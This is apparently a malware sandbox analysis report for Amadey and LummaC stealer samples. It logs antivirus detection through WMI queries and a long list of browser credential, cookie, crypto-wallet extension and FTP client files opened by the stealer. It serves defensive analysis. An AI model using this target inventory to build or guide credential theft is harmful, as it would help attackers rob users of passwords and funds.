Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C9CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 6_2_00C9CBEA
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
AV process strings found (often used to terminate AV products)
Source: KbSwZup.exe, 0000003C.00000003.2741039176.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2741242938.000000000149D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2740671499.000000000149B000.00000004.00000020.00020000.00000000.sdmp, 949wScO.exe, 0000003F.00000002.2742963565.0000000001249000.00000004.00000020.00020000.00000000.sdmp, 949wScO.exe, 0000003F.00000002.2742735893.0000000001200000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: KbSwZup.exe, 0000003C.00000002.2783546108.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: er\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\cmd.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadey
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Amadeys stealer DLL
Source: Yara match File source: 0.2.random.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.skotes.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.skotes.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.2980491848.0000000000C81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1771882617.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1731428594.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2222740398.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1759809655.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.1804399065.0000000000C81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1762618991.0000000005470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: KbSwZup.exe PID: 5124, type: MEMORYSTR
Source: Yara match File source: 63.2.949wScO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 61.2.949wScO.exe.37e9550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.0.DTQCxXZ.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.DTQCxXZ.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 63.2.949wScO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 60.2.KbSwZup.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000003F.00000002.2741635817.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000003D.00000002.2769905025.00000000037E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000003.2494512701.000000000140A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\DTQCxXZ[1].exe, type: DROPPED
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: KbSwZup.exe, 0000003C.00000003.2636527012.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Electrum
Source: KbSwZup.exe, 0000003C.00000003.2636527012.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/ElectronCash
Source: doskey.exe, 00000027.00000002.2468108466.000001FB09D60000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: SWOyBvVCZJaxXLpdbV=t
Source: KbSwZup.exe, 0000003C.00000003.2636527012.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: KbSwZup.exe, 0000003C.00000003.2636527012.00000000014B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: KbSwZup.exe, 0000003C.00000003.2719718806.000000000149D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ExodusWeb3
Source: KbSwZup.exe, 0000003C.00000003.2636527012.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Ethereum
Source: KbSwZup.exe, 0000003C.00000003.2719471481.0000000001511000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: KbSwZup.exe, 0000003C.00000003.2740671499.0000000001507000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ;appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":2
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
